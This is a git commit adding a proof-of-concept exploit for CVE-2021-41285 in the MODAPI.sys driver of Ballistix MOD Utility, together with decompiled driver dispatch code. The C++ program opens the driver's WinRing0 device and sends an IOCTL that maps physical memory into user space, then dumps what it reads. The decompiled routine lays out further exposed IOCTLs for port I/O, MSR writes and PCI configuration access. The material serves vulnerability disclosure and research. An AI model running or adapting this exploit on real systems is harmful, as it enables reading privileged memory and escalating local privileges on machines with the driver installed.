MODAPI.sys PoC

This commit is contained in:
Paolo 'VoidSec' Stagno
2021-09-27 17:58:45 +02:00
parent e67bb82d20
commit 07d49326f9
5 changed files with 320 additions and 0 deletions
@@ -0,0 +1,212 @@
__int64 __fastcall DispatchDeviceControl(__int64 a1, IRP *a2)
{
unsigned int *p_Information; // rdi
_IO_STACK_LOCATION *CurrentStackLocation; // rdx
unsigned int status; // ebx
unsigned int IOCTL_Code; // eax
_IRP *v7; // rcx
unsigned int v8; // er8
int v9; // edx
unsigned __int32 v10; // eax
unsigned int v11; // eax
CSHORT v12; // ax
unsigned __int8 v13; // al
unsigned int Options; // ebx
_IRP *v15; // r9
_IRP *v16; // rcx
int v17; // edx
unsigned int Length; // ebp
ULONG *MasterIrp; // r9
ULONG BusDataByOffset; // eax
int v21; // eax
p_Information = (unsigned int *)&a2->IoStatus.Information;
CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
*(_QWORD *)p_Information = 0i64;
status = 0xC0000002; // STATUS_NOT_IMPLEMENTED
if (!CurrentStackLocation->MajorFunction)
{
if (dword_13110 == -1)
goto exit_ok;
v21 = dword_13110 + 1;
goto pre_exit_ok;
}
if (CurrentStackLocation->MajorFunction == 2)
{
if (dword_13110 == -1)
goto exit_ok;
v21 = dword_13110 - 1;
pre_exit_ok:
dword_13110 = v21;
goto exit_ok;
}
if (CurrentStackLocation->MajorFunction != 14)
goto exit;
IOCTL_Code = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
if (IOCTL_Code > 0x9C4060D4)
{
if (IOCTL_Code != 0x9C406104)
{
switch (IOCTL_Code)
{
case 0x9C406144:
Length = CurrentStackLocation->Parameters.Read.Length;
if (CurrentStackLocation->Parameters.Create.Options != 8)
goto invalid_parameter;
MasterIrp = (ULONG *)a2->AssociatedIrp.MasterIrp;
BusDataByOffset = HalGetBusDataByOffset(
PCIConfiguration,
(unsigned __int8)BYTE1(*MasterIrp),
(32 * (*MasterIrp & 7)) | ((unsigned __int8)*MasterIrp >> 3),
MasterIrp,
MasterIrp[1],
CurrentStackLocation->Parameters.Read.Length);
if (BusDataByOffset)
{
if (Length == 2 || BusDataByOffset != 2)
{
if (Length == BusDataByOffset)
{
*p_Information = Length;
goto exit_ok;
}
status = 0xE0000004;
}
else
{
status = 0xE0000002;
}
}
else
{
status = 0xE0000001;
}
*p_Information = 0;
break;
case 0x9C40A0C8:
case 0x9C40A0D8:
case 0x9C40A0DC:
case 0x9C40A0E0:
v16 = a2->AssociatedIrp.MasterIrp;
v17 = *(_DWORD *)&v16->Type;
switch (IOCTL_Code)
{
case 0x9C40A0D8:
__outbyte(v17, *((_BYTE *)&v16->Size + 2));
goto exit_ok;
case 0x9C40A0DC:
__outword(v17, *(&v16->Size + 1));
goto exit_ok;
case 0x9C40A0E0:
__outdword(v17, *(_DWORD *)(&v16->Size + 1));
goto exit_ok;
}
goto invalid_parameter;
case 0x9C40A108:
goto pre_invalid_param;
case 0x9C40A148:
Options = CurrentStackLocation->Parameters.Create.Options;
if (Options < 8)
{
invalid_parameter:
status = 0xC000000D; // STATUS_INVALID_PARAMETER
goto exit;
}
v15 = a2->AssociatedIrp.MasterIrp;
*p_Information = 0;
status = Options - 8 != HalSetBusDataByOffset(
PCIConfiguration,
(unsigned __int8)BYTE1(*(_DWORD *)&v15->Type),
(32 * (*(_DWORD *)&v15->Type & 7)) | ((unsigned __int8)*(_DWORD *)&v15->Type >> 3),
&v15->MdlAddress,
*(_DWORD *)(&v15->Size + 1),
Options - 8)
? 0xE0000003
: 0;
break;
}
goto exit;
}
v11 = vuln_MmMapIoSpace(
(__int64)a2->AssociatedIrp.MasterIrp,
CurrentStackLocation->Parameters.Create.Options,
a2->AssociatedIrp.MasterIrp,
CurrentStackLocation->Parameters.Read.Length,
p_Information);
pre_exit:
status = v11;
goto exit;
}
switch (IOCTL_Code)
{
case 0x9C4060D4:
write_B_W_DW:
v7 = a2->AssociatedIrp.MasterIrp;
v8 = CurrentStackLocation->Parameters.Create.Options;
v9 = *(_DWORD *)&v7->Type;
switch (IOCTL_Code)
{
case 0x9C4060CC:
v13 = __inbyte(v9);
LOBYTE(v7->Type) = v13;
goto pre_exit2;
case 0x9C4060D0:
v12 = __inword(v9);
v7->Type = v12;
goto pre_exit2;
case 0x9C4060D4:
v10 = __indword(v9);
*(_DWORD *)&v7->Type = v10;
pre_exit2:
*p_Information = v8;
goto exit_ok;
}
pre_invalid_param:
*p_Information = 0;
goto invalid_parameter;
case 0x9C402000:
*(_DWORD *)a2->AssociatedIrp.MasterIrp = 16908293;
goto LABEL1;
case 0x9C402004:
*(_DWORD *)a2->AssociatedIrp.MasterIrp = dword_13110;
LABEL1:
*(_QWORD *)p_Information = 4i64;
exit_ok:
status = 0;
break;
case 0x9C402084:
v11 = readmsr(
(unsigned int *)a2->AssociatedIrp.MasterIrp,
CurrentStackLocation->Parameters.Create.Options,
(unsigned __int64 *)a2->AssociatedIrp.MasterIrp,
CurrentStackLocation->Parameters.Read.Length,
p_Information);
goto pre_exit;
case 0x9C402088:
v11 = writemsr(
(__int64)a2->AssociatedIrp.MasterIrp,
CurrentStackLocation->Parameters.Create.Options,
(__int64)a2->AssociatedIrp.MasterIrp,
CurrentStackLocation->Parameters.Read.Length,
p_Information);
goto pre_exit;
case 0x9C40208C:
v11 = readpmc(
(unsigned int *)a2->AssociatedIrp.MasterIrp,
CurrentStackLocation->Parameters.Create.Options,
(unsigned __int64 *)a2->AssociatedIrp.MasterIrp,
CurrentStackLocation->Parameters.Read.Length,
p_Information);
goto pre_exit;
case 0x9C402090:
__halt();
case 0x9C4060C4:
case 0x9C4060CC:
case 0x9C4060D0:
goto write_B_W_DW;
}
exit:
a2->IoStatus.Status = status;
IofCompleteRequest(a2, 0);
return status;
}
@@ -0,0 +1,108 @@
/*
Exploit title: Ballistix MOD Utility v.<= 2.0.2.5 (MODAPI.sys) - Mapping physical memory into virtual address space
Exploit Authors: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
Grade: PoC
CVE: CVE-2021-41285
Date: 15/09/2021
Version: v.2.0.2.5
Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
Category: local exploit
Platform: windows
*/
#include <iostream>
#include <iomanip>
#include <windows.h>
using namespace std;
int main()
{
DWORD PhysicalMemAddr = 0xE0000; // Physical memory address to read from, change accordingly (max 0x8FFFFFFF)
DWORD dwDataSizeToRead = 0x4; // Size of data to read (in chunks), in bytes (1, 2, 4); 1 = movsb (BYTE), 2 = movsw (WORD), 4 = movsd (DWORD)
DWORD dwAmountOfDataToRead = 8; // Amount of data (in chunks) to read
DWORD dwBytesReturned = 0; // number of bytes returned from the DeviceIoControl request
DWORD dwIOCTL = 0x9C406104; // IOCTL reaching MmMapIoSpace function call
// open a handle to the device exposed by the driver - symlink is \\.\\WinRing0_1_2_0
HANDLE hDevice = ::CreateFileW(
L"\\\\.\\WinRing0_1_2_0",
GENERIC_READ | GENERIC_WRITE,
NULL,
nullptr,
OPEN_EXISTING,
NULL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
cout << "[!] Couldn't open handle to MODAPI.sys driver. Error code: " << ::GetLastError() << endl;
return -1;
}
cout << "[+] Opened a handle to MODAPI.sys driver!" << endl;
cout << "[-] Allocating buffers' memory area!" << endl;
// allocate memory for the DeviceIoControl lpInBuffer & lpOutBuffer buffers
LPVOID lpInBuffer = VirtualAlloc((LPVOID)0x41000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID lpOutBuffer = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpInBuffer == NULL || lpOutBuffer == NULL)
{
cout << "[!] Unable to allocate buffers' memory area. Error code: " << ::GetLastError() << endl;
return -1;
}
cout << "[-] Populating lpInBuffer" << endl;
memmove(lpInBuffer, &PhysicalMemAddr, sizeof(DWORD));
memmove((BYTE*)lpInBuffer + 0x8, &dwDataSizeToRead, sizeof(DWORD));
memmove((BYTE*)lpInBuffer + 0xC, &dwAmountOfDataToRead, sizeof(DWORD));
cout << "[-] Sending IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL << endl;
bool success = DeviceIoControl(
hDevice,
dwIOCTL,
lpInBuffer, // expressed in Bytes; MUST be 0x10
0x10,
lpOutBuffer, // MUST be GREATER than chunk size (dwDataSizeToRead * dwAmountOfDataToRead)
0x40,
&dwBytesReturned,
nullptr);
if (!success)
{
cout << "[!] Couldn't send IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL
<< " Error code: " << ::GetLastError() << endl;
return -1;
}
cout << endl << "[+] Dumping " << dec << (dwDataSizeToRead * dwAmountOfDataToRead)
<< " bytes of data from 0x" << hex << uppercase << setw(16) << setfill('0') << PhysicalMemAddr << endl;
cout << string(70, '-') << endl;
// pretty print memory dump
for (int nSize = 0; nSize <= 0x32; nSize += 0x10)
{
for (int i = 0; i <= 0xF; i++)
{
// output byte
printf("%02X ", *((BYTE*)lpOutBuffer + i + nSize));
}
cout << " ";
for (int i = 0; i <= 0xF; i++)
{
CHAR cChar = *((BYTE*)lpOutBuffer + i + nSize);
// if byte is in printable range, then print it's ASCII representation
if (cChar >= 0x20 && cChar <= 0x7E)
{
printf("%c", *((BYTE*)lpOutBuffer + i + nSize));
}
else
{
cout << ".";
}
}
cout << endl;
}
cout << string(70, '-') << endl;
// housekeeping
VirtualFree((LPVOID)0x41000000, 0, MEM_RELEASE);
VirtualFree((LPVOID)0x42000000, 0, MEM_RELEASE);
ExitProcess(0);
}